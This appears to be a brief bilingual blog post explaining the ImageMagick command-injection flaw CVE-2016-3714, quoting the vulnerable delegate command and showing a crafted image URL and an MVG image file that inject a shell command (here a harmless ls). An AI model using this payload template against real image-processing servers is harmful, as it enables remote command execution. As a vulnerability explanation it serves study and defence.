ImageMagick Remote Command Execute

CVE ID: CVE-2016-3714

我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的，可以锻炼自己的英语表达能力，但是可能会阻碍和一些英文不好的朋友交流。

It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.

先拿中文写吧。

I will write in Chinese at present.

---

学习了这篇文章
学习了这篇文章

存在漏洞的ImageMagick版本

由于ImageMagick在Java/PHP/Python等库中应用广泛，所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单，ImageMagick在处理url为https开头的图片时，对于图片地址字符串没有进行过滤就直接放入system()执行，导致存在命令注入:

"  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

status=system(sanitize_command);

注意，%M是占位符，代表图片url。所以command实际上是：

"wget" -q -O "%o" "https:%M"

那么如果我们的图片url是类似于下面的：

https://example.com"|ls "-al

则command变成了：

"wget" -q -O "%o" "https://example.com" | ls "-al"

也就是说，引号被提前闭合了(跟基本的SQL注入很像吧)

在本地测试一下:

成功执行了ls -al

我们可以把命令写入一个图片中：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

保存为x.png：

---

End:

哎人艰不拆人艰不拆，你们这种漏洞真的好嘛 : )